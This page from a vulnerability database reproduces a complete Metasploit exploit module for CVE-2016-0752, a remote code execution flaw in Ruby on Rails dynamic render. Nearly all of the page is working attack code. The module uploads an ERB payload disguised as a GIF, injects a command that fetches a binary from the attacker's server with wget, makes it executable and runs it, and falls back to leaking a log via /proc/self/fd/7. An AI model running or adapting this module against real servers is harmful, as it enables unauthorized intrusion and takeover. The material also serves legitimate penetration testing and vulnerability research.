Lucene search
K

Ruby on Rails Dynamic Render File Upload Remote Code Execution

🗓️ 13 Oct 2016 00:00:00Reported by metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 44 Views

Exploiting Remote Code Execution in Ruby on Rail

Related
Code
`require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Ruby on Rails Dynamic Render File Upload Remote Code Execution',  
'Description' => %q{  
This module exploits a remote code execution vulnerability in the explicit render  
method when leveraging user parameters.  
This module has been tested across multiple versions of Ruby on Rails.  
The technique used by this module requires the specified  
endpoint to be using dynamic render paths, such as the following example:  
  
def show  
render params[:id]  
end  
  
Also, the vulnerable target will need a POST endpoint for the TempFile upload, this  
can literally be any endpoint. This module doesnt use the log inclusion method of  
exploitation due to it not being universal enough. Instead, a new code injection  
technique was found and used whereby an attacker can upload temporary image files  
against any POST endpoint and use them for the inclusion attack. Finally, you only  
get one shot at this if you are testing with the builtin rails server, use caution.  
},  
'Author' =>  
[  
'mr_me <[email protected]>', # necromanced old bug & discovered new vector rce vector  
'John Poulin (forced-request)' # original render bug finder  
],  
'References' =>  
[  
[ 'CVE', '2016-0752'],  
[ 'URL', 'https://groups.google.com/forum/#!topic/rubyonrails-security/335P1DcLG00'], # rails patch  
[ 'URL', 'https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752/'], # John Poulin CVE-2016-0752 patched in 5.0.0.beta1.1 - January 25, 2016  
[ 'URL', 'https://gist.github.com/forced-request/5158759a6418e6376afb'], # John's original exploit  
],  
'License' => MSF_LICENSE,  
'Platform' => ['linux', 'bsd'],  
'Arch' => ARCH_X86,  
'Payload' =>  
{  
'DisableNops' => true,  
},  
'Privileged' => false,  
'Targets' =>  
[  
[ 'Ruby on Rails 4.0.8 July 2, 2014', {} ] # Other versions are also affected  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Oct 16 2016'))  
register_options(  
[  
Opt::RPORT(3000),  
OptString.new('URIPATH', [ true, 'The path to the vulnerable route', "/users"]),  
OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]),  
], self.class)  
end  
  
def check  
  
# this is the check for the dev environment  
res = send_request_cgi({  
'uri' => normalize_uri(datastore['URIPATH'], "%2f"),  
'method' => 'GET',  
}, 60)  
  
# if the page controller is dynamically rendering, its for sure vuln  
if res and res.body =~ /render params/  
return CheckCode::Vulnerable  
end  
  
# this is the check for the prod environment  
res = send_request_cgi({  
'uri' => normalize_uri(datastore['URIPATH'], "%2fproc%2fself%2fcomm"),  
'method' => 'GET',  
}, 60)  
  
# if we can read files, its likley we can execute code  
if res and res.body =~ /ruby/  
return CheckCode::Appears  
end  
return CheckCode::Safe  
end  
  
def on_request_uri(cli, request)  
if (not @pl)  
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")  
return  
end  
print_status("#{rhost}:#{rport} - Sending the payload to the server...")  
@elf_sent = true  
send_response(cli, @pl)  
end  
  
def send_payload  
@bd = rand_text_alpha(8+rand(8))  
fn = rand_text_alpha(8+rand(8))  
un = rand_text_alpha(8+rand(8))  
pn = rand_text_alpha(8+rand(8))  
register_file_for_cleanup("/tmp/#{@bd}")  
cmd = "wget #{@service_url} -O /tmp/#{@bd};"  
cmd << "chmod 755 /tmp/#{@bd};"  
cmd << "/tmp/#{@bd}"  
pay = "<%=`#{cmd}`%>"  
print_status("uploading image...")  
data = Rex::MIME::Message.new  
data.add_part(pay, nil, nil, 'form-data; name="#{un}"; filename="#{fn}.gif"')  
res = send_request_cgi({  
'method' => 'POST',  
'cookie' => @cookie,  
'uri' => normalize_uri(datastore['URIPATH'], pn),  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => data.to_s  
})  
if res and res.code == 422 and res.body =~ /Tempfile:\/(.*)>/  
@path = "#{$1}" if res.body =~ /Tempfile:\/(.*)>/  
return true  
else  
  
# this is where we pull the log file  
if leak_log  
return true  
end  
end  
return false  
end  
  
def leak_log  
  
# path to the log /proc/self/fd/7  
# this bypasses the extension check  
res = send_request_cgi({  
'uri' => normalize_uri(datastore['URIPATH'], "proc%2fself%2ffd%2f7"),  
'method' => 'GET',  
}, 60)  
  
if res and res.code == 200 and res.body =~ /Tempfile:\/(.*)>, @original_filename=/  
@path = "#{$1}" if res.body =~ /Tempfile:\/(.*)>, @original_filename=/  
return true  
end  
return false  
end  
  
def start_http_server  
@pl = generate_payload_exe  
@elf_sent = false  
downfile = rand_text_alpha(8+rand(8))  
resource_uri = '/' + downfile  
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")  
srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)  
else  
srv_host = datastore['SRVHOST']  
end  
  
# do not use SSL for the attacking web server  
if datastore['SSL']  
ssl_restore = true  
datastore['SSL'] = false  
end  
  
@service_url = "http://#{srv_host}:#{datastore['SRVPORT']}#{resource_uri}"  
service_url_payload = srv_host + resource_uri  
print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...")  
start_service({'Uri' => {  
'Proc' => Proc.new { |cli, req|  
on_request_uri(cli, req)  
},  
'Path' => resource_uri  
}})  
datastore['SSL'] = true if ssl_restore  
connect  
end  
  
def render_tmpfile  
@path.gsub!(/\//, '%2f')  
res = send_request_cgi({  
'uri' => normalize_uri(datastore['URIPATH'], @path),  
'method' => 'GET',  
}, 1)  
end  
  
def exploit  
print_status("Sending initial request to detect exploitability")  
start_http_server  
if send_payload  
print_good("injected payload")  
render_tmpfile  
  
# we need to delay, for the stager  
select(nil, nil, nil, 5)  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation